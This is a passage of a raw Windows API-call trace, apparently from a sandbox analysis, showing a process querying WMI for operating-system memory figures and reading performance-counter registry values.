pAuthzSvc=0x1da9e360*=0x0, pServerPrincName=0x1da9e388, pAuthnLevel=0x1da9e364*=0x6, pImpLevel=0x1da9e370*=0x2, pAuthInfo=0x1da9e398, pCapabilites=0x1da9e374*=0x1) returned 0x0 [0265.467] IUnknown:Release (This=0x1b287198) returned 0x1 [0265.467] IUnknown:QueryInterface (in: This=0x1b287190, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2b0 | out: ppvObject=0x1da9e2b0*=0x1b2031f8) returned 0x0 [0265.467] IUnknown:QueryInterface (in: This=0x1b287190, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2c0 | out: ppvObject=0x1da9e2c0*=0x1b287198) returned 0x0 [0265.467] IClientSecurity:SetBlanket (This=0x1b287198, pProxy=0x1b287190, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0265.469] IUnknown:Release (This=0x1b287198) returned 0x2 [0265.469] WbemLocator:IUnknown:Release (This=0x1b2031f8) returned 0x1 [0265.469] CoTaskMemFree (pv=0x1d1e6c00) [0265.469] IUnknown:QueryInterface (in: This=0x1b287190, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dd70 | out: ppvObject=0x1da9dd70*=0x1b2031f8) returned 0x0 [0265.470] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9de00 | out: ppvObject=0x1da9de00*=0x0) returned 0x80004002 [0265.470] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da20 | out: ppvObject=0x1da9da20*=0x0) returned 0x80004002 [0265.470] IUnknown:QueryInterface (in: This=0x1b287190, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d5f8 | out: ppvObject=0x1da9d5f8*=0x0) returned 0x80004002 [0265.471] WbemLocator:IUnknown:AddRef (This=0x1b2031f8) returned 0x3 [0265.471] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d4b8 | out: ppvObject=0x1da9d4b8*=0x0) returned 0x80004002 [0265.471] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d440 | out: ppvObject=0x1da9d440*=0x0) returned 0x80004002 [0265.471] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d430 | out: ppvObject=0x1da9d430*=0x1b2030d8) returned 0x0 [0265.471] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b2030d8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d458 | out: pCid=0x1da9d458*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0265.471] WbemLocator:IUnknown:Release (This=0x1b2030d8) returned 0x3 [0265.471] CoGetContextToken (in: pToken=0x1da9d4e0 | out: pToken=0x1da9d4e0) returned 0x0 [0265.471] CoGetContextToken (in: pToken=0x1da9d960 | out: pToken=0x1da9d960) returned 0x0 [0265.472] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da20 | out: ppvObject=0x1da9da20*=0x1b2031c0) returned 0x0 [0265.472] WbemLocator:IRpcOptions:Query (in: This=0x1b2031c0, pPrx=0x1b2031f8, dwProperty=2, pdwValue=0x1da9da10 | out: pdwValue=0x1da9da10) returned 0x80004002 [0265.472] WbemLocator:IUnknown:Release (This=0x1b2031c0) returned 0x3 [0265.472] WbemLocator:IUnknown:Release (This=0x1b2031f8) returned 0x2 [0265.472] CoGetContextToken (in: pToken=0x1da9e020 | out: pToken=0x1da9e020) returned 0x0 [0265.472] CoGetContextToken (in: pToken=0x1da9df20 | out: pToken=0x1da9df20) returned 0x0 [0265.472] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x1da9e080*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1da9e050 | out: ppvObject=0x1da9e050*=0x1b287190) returned 0x0 [0265.472] IUnknown:AddRef (This=0x1b287190) returned 0x4 [0265.472] IUnknown:Release (This=0x1b287190) returned 0x3 [0265.472] IUnknown:Release (This=0x1b287190) returned 0x2 [0265.472] IUnknown:Release (This=0x1b287970) returned 0x2 [0265.472] SysStringLen (param_1=0x0) returned 0x0 [0265.472] IEnumWbemClassObject:Reset (This=0x1b287190) returned 0x0 [0265.594] CoTaskMemAlloc (cb=0x8) returned 0x1d1c0e80 [0265.594] IEnumWbemClassObject:Next (in: This=0x1b287190, lTimeout=-1, uCount=0x1, apObjects=0x1d1c0e80, puReturned=0x27de1b0 | out: apObjects=0x1d1c0e80*=0x1b268750, puReturned=0x27de1b0*=0x1) returned 0x0 [0265.696] IUnknown:QueryInterface (in: This=0x1b268750, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x1b268750) returned 0x0 [0265.696] IUnknown:QueryInterface (in: This=0x1b268750, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9d9a0 | out: ppvObject=0x1da9d9a0*=0x0) returned 0x80004002 [0265.696] IUnknown:QueryInterface (in: This=0x1b268750, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9d5c0 | out: ppvObject=0x1da9d5c0*=0x0) returned 0x80004002 [0265.696] IUnknown:QueryInterface (in: This=0x1b268750, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d198 | out: ppvObject=0x1da9d198*=0x0) returned 0x80004002 [0265.696] IUnknown:AddRef (This=0x1b268750) returned 0x3 [0265.696] IUnknown:QueryInterface (in: This=0x1b268750, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d058 | out: ppvObject=0x1da9d058*=0x0) returned 0x80004002 [0265.696] IUnknown:QueryInterface (in: This=0x1b268750, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9cfe0 | out: ppvObject=0x1da9cfe0*=0x0) returned 0x80004002 [0265.696] IUnknown:QueryInterface (in: This=0x1b268750, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9cfd0 | out: ppvObject=0x1da9cfd0*=0x1b268758) returned 0x0 [0265.697] IMarshal:GetUnmarshalClass (in: This=0x1b268758, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9cff8 | out: pCid=0x1da9cff8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0265.697] IUnknown:Release (This=0x1b268758) returned 0x3 [0265.697] CoGetContextToken (in: pToken=0x1da9d080 | out: pToken=0x1da9d080) returned 0x0 [0265.697] CoGetContextToken (in: pToken=0x1da9d500 | out: pToken=0x1da9d500) returned 0x0 [0265.697] IUnknown:QueryInterface (in: This=0x1b268750, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d5c0 | out: ppvObject=0x1da9d5c0*=0x0) returned 0x80004002 [0265.697] IUnknown:Release (This=0x1b268750) returned 0x2 [0265.697] CoGetContextToken (in: pToken=0x1da9dbc0 | out: pToken=0x1da9dbc0) returned 0x0 [0265.697] CoGetContextToken (in: pToken=0x1da9dac0 | out: pToken=0x1da9dac0) returned 0x0 [0265.697] IUnknown:QueryInterface (in: This=0x1b268750, riid=0x1da9dc20*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1da9dbf0 | out: ppvObject=0x1da9dbf0*=0x1b268750) returned 0x0 [0265.697] IUnknown:AddRef (This=0x1b268750) returned 0x4 [0265.697] IUnknown:Release (This=0x1b268750) returned 0x3 [0265.697] IUnknown:Release (This=0x1b268750) returned 0x2 [0265.697] CoTaskMemFree (pv=0x1d1c0e80) [0265.697] CoGetContextToken (in: pToken=0x1da9df90 | out: pToken=0x1da9df90) returned 0x0 [0265.697] IUnknown:AddRef (This=0x1b268750) returned 0x3 [0265.698] IWbemClassObject:Get (in: This=0x1b268750, wszName="__GENUS", lFlags=0, pVal=0x1da9e550*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1da9e678*=0, plFlavor=0x1da9e670*=0 | out: pVal=0x1da9e550*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1da9e678*=3, plFlavor=0x1da9e670*=64) returned 0x0 [0265.698] IWbemClassObject:Get (in: This=0x1b268750, wszName="__PATH", lFlags=0, pVal=0x1da9e500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1da9e630*=0, plFlavor=0x1da9e628*=0 | out: pVal=0x1da9e500*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"", varVal2=0x0), pType=0x1da9e630*=8, plFlavor=0x1da9e628*=64) returned 0x0 [0265.698] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0265.698] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0265.698] CoGetObjectContext (in: riid=0x2296a58*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9e578 | out: ppv=0x1da9e578*=0x77dd58) returned 0x0 [0265.698] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1da9e568 | out: pAptType=0x1da9e568*=1) returned 0x0 [0265.699] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x2296a38*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1da9e570 | out: ppvObject=0x1da9e570*=0x0) returned 0x80004002 [0265.699] IUnknown:Release (This=0x77dd58) returned 0x1 [0265.700] CoGetClassObject (in: rclsid=0x1b1c9aa8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9d968 | out: ppv=0x1da9d968*=0x1d218350) returned 0x0 [0265.701] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d218350, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da50 | out: ppvObject=0x1da9da50*=0x0) returned 0x80004002 [0265.701] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1d218350, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da28 | out: ppvObject=0x1da9da28*=0x1b294220) returned 0x0 [0265.701] WbemDefPath:IUnknown:Release (This=0x1d218350) returned 0x0 [0265.701] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294220, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d7d0 | out: ppvObject=0x1da9d7d0*=0x1b294220) returned 0x0 [0265.701] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294220, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9d860 | out: ppvObject=0x1da9d860*=0x0) returned 0x80004002 [0265.701] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294220, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d058 | out: ppvObject=0x1da9d058*=0x0) returned 0x80004002 [0265.701] WbemDefPath:IUnknown:AddRef (This=0x1b294220) returned 0x3 [0265.701] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294220, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9cf18 | out: ppvObject=0x1da9cf18*=0x0) returned 0x80004002 [0265.701] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294220, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9cea0 | out: ppvObject=0x1da9cea0*=0x0) returned 0x80004002 [0265.701] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294220, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9ce90 | out: ppvObject=0x1da9ce90*=0x1d2185b0) returned 0x0 [0265.702] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1d2185b0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9ceb8 | out: pCid=0x1da9ceb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0265.702] WbemDefPath:IUnknown:Release (This=0x1d2185b0) returned 0x3 [0265.702] CoGetContextToken (in: pToken=0x1da9cf40 | out: pToken=0x1da9cf40) returned 0x0 [0265.702] CoGetContextToken (in: pToken=0x1da9d3c0 | out: pToken=0x1da9d3c0) returned 0x0 [0265.702] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294220, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d480 | out: ppvObject=0x1da9d480*=0x0) returned 0x80004002 [0265.702] WbemDefPath:IUnknown:Release (This=0x1b294220) returned 0x2 [0265.702] WbemDefPath:IUnknown:Release (This=0x1b294220) returned 0x1 [0265.702] CoGetContextToken (in: pToken=0x1da9e1b0 | out: pToken=0x1da9e1b0) returned 0x0 [0265.702] CoGetContextToken (in: pToken=0x1da9e0b0 | out: pToken=0x1da9e0b0) returned 0x0 [0265.702] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294220, riid=0x1da9e210*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1da9e1e0 | out: ppvObject=0x1da9e1e0*=0x1b294220) returned 0x0 [0265.702] WbemDefPath:IUnknown:AddRef (This=0x1b294220) returned 0x3 [0265.702] WbemDefPath:IUnknown:Release (This=0x1b294220) returned 0x2 [0265.702] WbemDefPath:IWbemPath:SetText (This=0x1b294220, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x0 [0265.703] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e598 | out: puCount=0x1da9e598*=0x2) returned 0x0 [0265.703] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e590*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e590*=0xf, pszText=0x0) returned 0x0 [0265.703] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0265.703] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e568 | out: puCount=0x1da9e568*=0x2) returned 0x0 [0265.703] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e560*=0xf, pszText=0x0) returned 0x0 [0265.703] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e560*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0265.703] IWbemClassObject:Get (in: This=0x1b268750, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1da9e520*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27dfcd0*=0, plFlavor=0x27dfcd4*=0 | out: pVal=0x1da9e520*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1359840", varVal2=0x0), pType=0x27dfcd0*=21, plFlavor=0x27dfcd4*=0) returned 0x0 [0265.703] SysStringByteLen (bstr="1359840") returned 0xe [0265.703] SysStringByteLen (bstr="1359840") returned 0xe [0265.703] IWbemClassObject:Get (in: This=0x1b268750, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1da9e570*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27dfcd0*=21, plFlavor=0x27dfcd4*=0 | out: pVal=0x1da9e570*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1359840", varVal2=0x0), pType=0x27dfcd0*=21, plFlavor=0x27dfcd4*=0) returned 0x0 [0265.703] SysStringByteLen (bstr="1359840") returned 0xe [0265.704] SysStringByteLen (bstr="1359840") returned 0xe [0265.704] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e568 | out: puCount=0x1da9e568*=0x2) returned 0x0 [0265.704] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e560*=0xf, pszText=0x0) returned 0x0 [0265.704] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e560*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0265.704] IWbemClassObject:Get (in: This=0x1b268750, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1da9e520*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27dfec8*=0, plFlavor=0x27dfecc*=0 | out: pVal=0x1da9e520*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x27dfec8*=21, plFlavor=0x27dfecc*=0) returned 0x0 [0265.704] SysStringByteLen (bstr="2096620") returned 0xe [0265.704] SysStringByteLen (bstr="2096620") returned 0xe [0265.704] IWbemClassObject:Get (in: This=0x1b268750, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1da9e570*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27dfec8*=21, plFlavor=0x27dfecc*=0 | out: pVal=0x1da9e570*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x27dfec8*=21, plFlavor=0x27dfecc*=0) returned 0x0 [0265.705] SysStringByteLen (bstr="2096620") returned 0xe [0265.705] SysStringByteLen (bstr="2096620") returned 0xe [0265.705] CoGetContextToken (in: pToken=0x1da9e370 | out: pToken=0x1da9e370) returned 0x0 [0265.705] WbemLocator:IUnknown:Release (This=0x1b2031f8) returned 0x1 [0265.705] IUnknown:Release (This=0x1b287190) returned 0x0 [0267.779] GetTickCount64 () returned 0x1abf9a8 [0267.783] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1da9e428, lpData=0x0, lpcbData=0x1da9e420*=0x0 | out: lpType=0x1da9e428*=0x3, lpData=0x0, lpcbData=0x1da9e420*=0x0) returned 0xea [0267.784] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1da9e428, lpData=0x2869b18, lpcbData=0x1da9e418*=0xfde8 | out: lpType=0x1da9e428*=0x3, lpData=0x2869b18*, lpcbData=0x1da9e418*=0x438) returned 0x0 [0267.787] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1da9e428, lpData=0x0, lpcbData=0x1da9e420*=0x0 | out: lpType=0x1da9e428*=0x3, lpData=0x0, lpcbData=0x1da9e420*=0x0) returned 0xea [0267.788] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1da9e428, lpData=0x287af30, lpcbData=0x1da9e418*=0xfde8 | out: lpType=0x1da9e428*=0x3, lpData=0x287af30*, lpcbData=0x1da9e418*=0xea8) returned 0x0 [0267.796] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e6f8 | out: puCount=0x1da9e6f8*=0x2) returned 0x0 [0267.796] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e6f0*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e6f0*=0xf, pszText=0x0) returned 0x0 [0267.796] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e6f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e6f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0267.796] CoGetObjectContext (in: riid=0x2296a58*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9e678 | out: ppv=0x1da9e678*=0x77dd58) returned 0x0 [0267.797] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1da9e668 | out: pAptType=0x1da9e668*=1) returned 0x0 [0267.797] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x2296a38*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1da9e670 | out: ppvObject=0x1da9e670*=0x0) returned 0x80004002 [0267.797] IUnknown:Release (This=0x77dd58) returned 0x1 [0267.799] CoGetClassObject (in: rclsid=0x1b1c9c68*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9dd38 | out: ppv=0x1da9dd38*=0x1d2184b0) returned 0x0 [0267.800] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2184b0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, 